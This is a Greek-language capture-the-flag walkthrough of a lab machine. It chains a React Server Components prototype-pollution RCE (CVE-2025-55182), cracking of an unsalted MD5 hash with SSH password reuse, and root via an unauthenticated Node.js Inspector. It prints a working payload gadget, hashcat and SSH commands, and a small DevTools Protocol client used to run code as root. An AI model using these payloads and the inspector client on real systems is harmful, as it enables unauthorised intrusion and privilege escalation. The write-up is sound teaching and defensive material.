Το Reactor είναι μια ευθεία γραμμή πάνω σε τρία λάθη σύγχρονου stack. Το foothold είναι το CVE-2025-55182 — το "React2Shell" prototype-pollution RCE στα React Server Components — πάνω σε ένα Next.js dashboard παρακολούθησης αντιδραστήρα, που δίνει unauthenticated code execution ως ο λογαριασμός υπηρεσίας node. Ένα αρχείο SQLite μέσα στον φάκελο της εφαρμογής κρατάει ένα ανάλατο MD5 που το rockyou σπάει σε δευτερόλεπτα· το ίδιο string είναι και ο κωδικός SSH του χρήστη engineer. Το root είναι το πιο καθαρό κομμάτι: μια υπηρεσία uptime-monitor που τρέχει ως root καλεί το Node με --inspect δεμένο στο 127.0.0.1:9229, οπότε όποιος έχει τοπική πρόσβαση μπορεί να κουμπώσει στον Node.js Inspector μέσω του Chrome DevTools Protocol και να τρέξει Runtime.evaluate αυθαίρετο κώδικα μέσα σε μια root διεργασία.
Δύο ports. Το SSH είναι η έξοδος· όλα γίνονται στο 3000.
nmap
SP1R4@kali)-[~]└$ nmap -p- --min-rate 2000 -sC -sV <TARGET_IP> -oA reactorPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
3000/tcp open http Node.js (Next.js)
|_http-title: ReactorWatch | Core Monitoring System
Το port 3000 είναι μια εφαρμογή Next.js — τα response headers το κάνουν σαφές, και μας λένε επίσης ότι κάνει server-rendering React components, που είναι ολόκληρη η attack surface για το foothold:
Η ίδια η σελίδα είναι ένα στατικό-φαινόμενο dashboard SCADA "ReactorWatch" — χωρίς login, χωρίς εμφανές input. Το header Vary: RSC είναι το κλειδί: αυτή η εφαρμογή δέχεται React Server Component action requests, και αυτό ακριβώς εκμεταλλεύεται το CVE-2025-55182.
Foothold — CVE-2025-55182 (React2Shell)
Το CVE-2025-55182 είναι ένα unauthenticated RCE στα React Server Components (το Next.js το καταγράφει και ως CVE-2025-66478 στη δική του βάση). Σε λίγα λόγια: ο parser των απαντήσεων "server action" του RSC ακολουθεί ένα κλειδί __proto__ μέσα στο serialized model, και μια κατασκευασμένη τιμή _response._prefix γράφεται μέσα σε ένα string που ο deserializer αργότερα κάνει evaluate. Βάζοντας σε αυτό το prefix ένα snippet που φτάνει στο child_process, το payload τρέχει μέσα στη διεργασία Node — χωρίς auth, χωρίς έγκυρο action id. Το trigger είναι ένα μοναδικό multipart POST / με header Next-Action και ένα body σε σχήμα resolved-promise model:
το payload gadget (συνοπτικά)
part "0" = {"then":"$5:__proto__:then","status":"resolved_model","reason":-3,
"value":"{\"then\":\"$B1A5E\"}",
"_response":{
"_prefix":"var r=process.mainModule.require('child_process')
.execSync('id').toString();
throw Object.assign(new Error('NEXT_REDIRECT'),
{digest:`NEXT_REDIRECT;push;/login?a=${btoa(r)};307;`});",
"_chunks":"$Q2",
"_formData":{"get":"$5:constructor:constructor"}}}
τα parts "1".."5" καλωδιώνουν το reference chain· η έξοδος της εντολής επιστρέφει
base64-encoded μέσα στο response header X-Action-Redirect.
Αντί να φτιάξω το multipart framing με το χέρι, χρησιμοποίησα ένα δημόσιο PoC (Chocapikk/CVE-2025-55182) που χτίζει το gadget και κάνει decode το redirect header για σένα:
DB_PATH=/opt/reactor-app/reactor.db
SENSOR_API_KEY=rw_sk_7f8a9b2c3d4e5f6g7h8i9j0k
ALERT_WEBHOOK=https://alerts.internal.reactor.htb/webhook
NODE_ENV=production
---
CREATE TABLE users (
id INTEGER PRIMARY KEY, username TEXT NOT NULL,
password_hash TEXT NOT NULL, role TEXT NOT NULL, email TEXT
);
INSERT INTO users VALUES(1,'admin',
'a203b22191d744a4e70ada5c101b17b8','administrator','admin@reactor.htb');
INSERT INTO users VALUES(2,'engineer',
'39d97110eafe2a9a68639812cd271e8e','operator','engineer@reactor.htb');
Δύο 32-hex password hashes, χωρίς prefix $, χωρίς στήλη salt — γυμνό, ανάλατο MD5. Μια στήλη password που δεν σου λέει ούτε τον αλγόριθμό της είναι ήδη ένα finding.
engineer — Σπάσιμο του MD5, επαναχρησιμοποίηση πάνω σε SSH
Το mode 0 του hashcat είναι raw MD5. Το hash του engineer πέφτει στο rockyou αμέσως· το admin δεν σπάει (ούτε χρειάζεται):
hashcat -m 0
SP1R4@kali)-[~]└$ hashcat -m 0 -a 0 hashes.txt rockyou.txt --quiet39d97110eafe2a9a68639812cd271e8e:reactor1
Ο πίνακας users κρατάει έναν ρόλο web-app, αλλά ο κόσμος επαναχρησιμοποιεί κωδικούς ανάμεσα στα boxes που φιλοξενούν τις εφαρμογές του — και ο engineer είναι πραγματικός τοπικός λογαριασμός:
ssh engineer@<TARGET_IP>
SP1R4@kali)-[~]└$ sshpass -p 'reactor1' ssh engineer@<TARGET_IP>engineer@reactor:~$ id && cat user.txt
uid=1000(engineer) gid=1000(engineer) groups=1000(engineer),4(adm),24(cdrom),30(dip),46(plugdev),101(lxd)
[redacted — user flag]
engineer → root — ο Node.js Inspector που κανείς δεν έκλεισε
Το enumeration διεργασιών και sockets φέρνει στην επιφάνεια κάτι που δεν ταιριάζει: μια δεύτερη διεργασία Node, ιδιοκτησίας root, ξεκινημένη με --inspect.
Το /opt/uptime-monitor/worker.js είναι ένα ασήμαντο script — κάνει curl στο dashboard κάθε 30 δευτερόλεπτα και προσθέτει μια γραμμή CSV. Αυτό που έχει σημασία είναι πώς ξεκίνησε. Το flag --inspect ανοίγει τον V8 Inspector: ένα WebSocket που μιλάει το Chrome DevTools Protocol και επιτρέπει σε έναν client να βάζει breakpoints, να διαβάζει μνήμη, και — το χρήσιμο κομμάτι — να κάνει evaluate αυθαίρετο JavaScript μέσα στη διεργασία. Είναι δεμένο στο loopback, αλλά εμείς έχουμε ήδη shell πάνω στο box, οπότε το loopback είμαστε εμείς. Δεν υπάρχει έλεγχος token ή origin πάνω στο ακατέργαστο πρωτόκολλο.
Το --inspect είναι development flag. Σε production ισοδυναμεί με το να αφήνεις ένα root REPL να ακούει πάνω σε socket. Η σωστή στάση είναι: ποτέ σε prod, και αν πρέπει, χρησιμοποίησε --inspect κάτω από έναν αφιερωμένο unprivileged χρήστη με το port πίσω από firewall.
Οδήγηση του πρωτοκόλλου χωρίς debugger
Ο επίσημος τρόπος είναι node inspect 127.0.0.1:9229, αλλά αυτό το REPL είναι δύσκολο να το κάνεις script πάνω από SSH, και το box δεν έχει module ws ούτε Python βιβλιοθήκη websockets. Το DevTools Protocol όμως είναι απλά JSON πάνω σε WebSocket, και ένα WebSocket είναι απλά ένα HTTP upgrade συν μια 4-byte XOR μάσκα — περίπου σαράντα γραμμές Node χωρίς dependencies. Πρώτα παίρνουμε το session UUID του debugger από την HTTP πλευρά του inspector, μετά στέλνουμε ένα Runtime.evaluate:
cdp.js — ελάχιστος client CDP
const net = require('net'), crypto = require('crypto');
const [PATH, EXPR] = process.argv.slice(2);
const key = crypto.randomBytes(16).toString('base64');
const sock = net.connect(9229, '127.0.0.1', () => sock.write(
`GET ${PATH} HTTP/1.1\r\nHost: 127.0.0.1:9229\r\n` +
`Upgrade: websocket\r\nConnection: Upgrade\r\n` +
`Sec-WebSocket-Key: ${key}\r\nSec-WebSocket-Version: 13\r\n\r\n`));
function send(obj) { # masked text frame
const p = Buffer.from(JSON.stringify(obj)), m = crypto.randomBytes(4);
const h = p.length < 126 ? Buffer.from([0x81, 0x80 | p.length])
: Buffer.concat([Buffer.from([0x81, 0xFE]), u16(p.length)]);
sock.write(Buffer.concat([h, m, p.map((b,i) => b ^ m[i % 4])]));
}
let up = false, buf = Buffer.alloc(0);
sock.on('data', d => {
buf = Buffer.concat([buf, d]);
if (!up) { if (!buf.includes('\r\n\r\n')) return;
up = true; buf = buf.slice(buf.indexOf('\r\n\r\n') + 4);
send({ id: 1, method: 'Runtime.evaluate',
params: { expression: EXPR, returnByValue: true } }); }
const j = readFrame(buf); # parse των server frame(s)
if (j && j.id === 1) { console.log(JSON.stringify(j.result.result)); process.exit(0); }
});
Η έκφραση τρέχει μέσα στο global scope του worker, οπότε το process.mainModule.require είναι προσβάσιμο. Ρίχνουμε ένα SUID αντίγραφο του bash:
Το bash -p κρατάει το effective UID από το SUID bit αντί να το ρίξει — γι' αυτό το shell είναι euid=0 παρόλο που το πραγματικό UID παραμένει engineer. Απλό /tmp/rooot χωρίς -p θα είχε ξαναπέσει στο 1000.
Γιατί Δούλεψε
Στάδιο
Ριζική αιτία
node
Ο deserializer των RSC action-reply ακολουθεί __proto__ και κάνει evaluate ένα attacker-controlled _prefix — prototype pollution σε RCE, CVE-2025-55182 (CWE-1321 / CWE-94)
engineer
Κωδικοί αποθηκευμένοι ως ανάλατο MD5· ο ίδιος κωδικός επαναχρησιμοποιημένος για τον λογαριασμό SSH του συστήματος (CWE-759 / CWE-521)
root
Root service ξεκινημένο με --inspect· ο V8 Inspector είναι unauthenticated κανάλι code-execution για όποιον βρίσκεται στο loopback (CWE-489 / CWE-306)